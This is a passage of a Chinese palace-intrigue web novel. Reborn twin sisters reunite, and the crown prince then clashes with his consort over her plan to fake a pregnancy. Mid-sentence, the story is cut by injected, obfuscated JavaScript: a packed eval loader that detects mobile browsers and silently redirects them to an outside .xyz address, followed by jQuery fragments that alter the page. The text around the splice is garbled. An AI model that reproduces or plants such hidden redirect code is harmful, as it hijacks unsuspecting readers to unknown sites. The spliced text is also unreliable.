“为什么?”南阳终于找回了一丝声音,带着哭腔和巨大的茫然,“为什么……不能让人知道?我们……”
“为什么?”苏墨竹的眼神变得更加幽深,里面仿佛蕴藏着无尽的黑暗与血腥,声音冷得掉渣:“就因为你我这张脸!这世间,有权势顶着一张这样的脸、挂着‘南阳郡主’名头的人,只能有一个!”她的话语带着宿命般的沉重和冰冷的现实,彻底粉碎了南阳最后一丝天真的幻想。
南阳脑中一片混沌。权力?身份?脸?她无法理解这其中的所有关联,只觉得一股冰冷刺骨的寒意从脚底直窜上来。她不懂这复杂而残酷的规则,但她看着眼前这张和自己一模一样、却经历着截然不同人生、带着满身疲惫和狠厉的容颜,看着她眼中那份不容置疑的严肃甚至……痛苦。一种前所未有的、血脉相连的直觉涌上心头,压倒了恐惧。
她选择相信她。毫无保留地相信。
她嘴唇微微颤抖着,试探着,用微弱得几乎只有气音的声音,轻轻叫了一声:
“……姐……姐?”
这一声轻唤,如同投入冰湖的石子,在苏墨竹的心湖里,激起了滔天巨浪!
时间仿佛在此刻真的凝滞了。
苏墨竹的身体猛地僵住,连呼吸都为之一窒。那双总是布满算计和防备、如同寒潭般深不见底的眼睛里,瞬间闪过无法掩饰的震动、茫然,随即涌上来的,是汹涌到几乎要将她淹没的、混合着无尽委屈和深重情谊的滚烫热流!
姐姐……
这两个字,是她跨越了两生两世、历尽劫波、在背叛和死亡的泥沼中挣扎沉浮、从未敢奢求的呼唤。
就在上一世的尽头,在她用一把弯刀割破南阳的喉咙时,她还以为这血亲的羁绊早已被她亲手斩断于前尘。乔寒剑所言不假,她那时杀的不是南阳。那人在得知二人为双生姐妹时,眼中没有丝毫的震惊,有的只是胜券在握,她当初前来椒房殿欣然赴约,为的不是陆承烨,也不是身世谜题,而是她心中早有答案,她要来杀她——苏氏唯一的后人,苏墨竹。
而此刻,她迅速垂下眼帘,试图用浓密的睫毛遮挡住眼底瞬间决堤的脆弱水光。肩膀几不可查地轻轻耸动了一下,喉咙里堵着一股酸涩的硬块,让她几乎失声。只是握着拳的手,指甲早已深深掐入掌心,留下月牙形的红痕。
这是她第一世也好,重生回来的第二世也好,第一次,听到自己的亲妹妹,唤她一声“姐姐”。
她在心中再一次默默感念陆泊云的再造之恩,能让她重活一世不再对自己在这世上的唯一血肉骨亲,心生怨恨。
冰冷的石壁抵着后背传来阵阵寒意,南阳却不敢再动一下。她看着眼前突然沉寂、身体绷紧、仿佛被定住了一般的“姐姐”,看着对方微微颤抖的肩膀和那迅速垂下的眼睑。那无声中弥漫开的巨大悲伤与隐忍,让她心底最柔软的地方被狠狠撞了一下。虽然她依旧懵懂于这一切的缘由,那一声“姐姐”的试探,不过是在无边恐惧和混乱中抛出的微弱信号弹,希冀抓住一丝可能的安全感。然而,对方此刻无声胜有声的反应,远比任何言语都更具有冲击力。
南阳似乎隐隐触碰到了一个巨大的、令人窒息的冰山轮廓,潜藏在对方简单的一句“死无葬身之地”的警告之下。她不敢再问,只是默默地、又带着点无措地看着那微微耸动的单薄肩头,忽然觉得,她刚才脱口而出的称呼,对这个突然出现的“姐姐”而言,承载的分量似乎远远超出了她自己的想象。
初夏的晨光透过窗棂上的细密格花,将斑驳的光影洒在雕花拔步床前。空气里还残留着一丝若有似无的熏香气息,是东宫常用的安神香。
陆泊云的眼睫颤动了几下,猛地睁开。昨夜陆泊云被郑悦音素手拿下,五花大绑着灌下皇后送来的暖情酒。他却不知,在他昏厥过去之后,郑悦音冷着脸对着躲在暗处的眼线扬声道:“回去复命吧,这酒,太子已经喝下了。”
宿醉般的钝痛在后脑隐隐徘徊,但更令他心头一紧的是身体的异样感——没有预料中的粘腻不适,也没有陌生的气息纠缠,身上锦被柔软,衣衫……竟穿得整整齐齐?
他猛地撑起身坐起,迅速环顾四周。
郑悦音并未如他预想般同榻而眠。她端坐在不远处靠窗的菱花镜前,背对着他。一头如瀑的青丝被执月灵巧地梳拢,盘成一个简洁却贵气端庄的流云髻。铜镜映出她半张侧脸,平静无波,只专注地审视着镜中自己的容颜。执月正拈起一支赤金嵌红宝石的步摇,小心翼翼地簪入发间。晨光勾勒着她纤细的脖颈和挺直的脊背,姿态雍容,仿佛昨夜的不快从未发生。
陆泊云心头疑云大起。昨夜他清楚地记得是郑悦音情急之下将他打晕。按照他对她处心积虑谋求子嗣的了解,这正是最好的机会。可眼下这情形……?
郑悦音似乎从镜子模糊的倒影里察觉了他的清醒。她没有回头,手上的动作也未停,只淡淡开口,声音清冷得像晨间凝在窗台上的露珠:“醒了?太子殿下睡得可还安稳?”语气里听不出喜怒。
陆泊云皱眉,掀开锦被下榻,赤足踩在冰凉微潮的金砖上,试图驱散那点残余的眩晕。他活动了一下僵硬的脖颈,径直走到离她几步远的地方,目光锐利地审视着她的背影:“孤昨夜……”
“殿下酒力不济,不过饮了几杯淡酒便醉了,还自己不小心磕到了案几。”郑悦音终于微微侧过头,菱花镜映照出她嘴角一丝极淡的、近乎嘲讽的弧度,“执月,你说是不是?”
一旁侍立的执月立刻垂首,声音不大却清晰:“是,殿下昨夜饮了酒便有些站立不稳,是奴婢和娘娘一起扶着殿下歇下的。”
这番明显的遮掩和漏洞百出的说辞,无异于当面糊弄。陆泊云脸色微沉,他不是傻子。“郑悦音,”他直接唤了她的名,声音带着压抑的不解和一丝被戏弄的恼怒,“昨夜,你那一掌力道可不轻。孤以为,”他顿了顿,视线落在她精心装扮的妆容上,带着几分讥诮,“以太子妃处心积虑的心思,必然会趁此天赐良机,行那不轨之事,为东宫添个子嗣才合情理。怎么?竟是孤‘以小人之心度君子之腹’了?”
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909050|176875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的讥讽并未让郑悦音动怒。她对着镜子微微调整了一下步摇的角度,动作优雅得如同抚琴。待那点金光在发间稳稳停住,她才缓缓转过整个身子,迎上陆泊云审视的目光。她的眼眸清澈,却深得像古井,看不透情绪。
“太子殿下,”她的红唇轻轻开合,声音不高,却字字清晰,“我劝您,莫要把自己想得太重要,也莫要把旁人对您的意图,看得太过于简单或龌龊。”唇边那抹嘲讽的弧度加深了些许,带着一种冰冷的距离感,“这床笫之欢,也并非人人想得那般稀罕。”
陆泊云被这番直白到近乎羞辱的话噎住,一时竟不知如何反驳。她的镇定自若、她的刻意撇清、她那与昨夜截然不同的冷静气场,都让他感到一种被愚弄的憋闷。她到底想做什么?
“那你告诉孤,”他上前一步,迫人的气势逼近,“你处心积虑嫁入东宫,处心积虑想要与孤行那周公之礼,不正是想要一个孩子?一个能巩固你太子妃地位、能助你姑母在后宫更进一步的孩子?昨夜为何不动手?”他紧紧盯着她的眼睛,试图从里面找出任何破绽。“难道一夜之间,你就转了性子?”
郑悦音毫无惧色地回视着他,甚至微微扬起了下巴,像一只骄傲、随时准备迎战的孔雀。她没有正面回答,唇角勾起一个意味深长、甚至带着点诡谲的浅笑:“殿下放心,该有的,自然会有的。”
这话来得突兀,含义却惊悚。陆泊云心头一凛,不详的预感瞬间攫住了他。“什么该有的?”
郑悦音的目光不再看他,而是飘向了窗外那一方被窗棂切割的天空,几只麻雀正扑棱棱飞过。她的声音轻飘飘的,却像裹着冰碴:“待殿下再次领军北上、为国征战之时。”她顿了顿,每个字都刻意放慢,如同毒蛇吐信,“这东宫上下,自会‘恰如其分’地得知太子妃已有身孕的好消息,为殿下在北地的功绩添上一分期待。”
陆泊云的瞳孔骤然收缩!一股寒气从脚底直冲天灵盖!
“你疯了?!”他几乎是低吼出来,声音因为惊怒而有些变调,“欺君罔上!谎报皇嗣!这……这是诛九族的大罪!”他猛地向前,死死盯住郑悦音那张看似柔弱美丽却透着一股子狠劲的脸,“且不论父皇知晓会如何震怒,此事一旦为你姑母皇后知晓”他压低声音,带着警告,“她只会为了保住皇后和郑家的权势,第一时间杀了你灭口!永绝后患!你明白吗?!”
“呵”郑悦音低低地笑了出来,那笑声里没有半点温度,充满了对他警告的不屑一顾,也充满了对自己的决绝,“那又如何呢?”她抬眸,那冰凉的视线再次锁住陆泊云,里面竟有一丝孤注一掷的疯狂,“那殿下就动作快一点。在我被‘灭口’之前。或者,在月份渐大、肚子终究‘显’不出来之前”
她微微倾身向前,靠近陆泊云的耳边,用只有两人才能听到的气音,吐露着诛心的诱惑与胁迫:“就请你,快快地爱上我,心甘情愿地回到我的身边,把这‘谎言’,变成真实吧。殿下,”她的声音带着一点不易察觉的祈求,却又坚硬如铁,“这可是唯一的‘活路’呢。”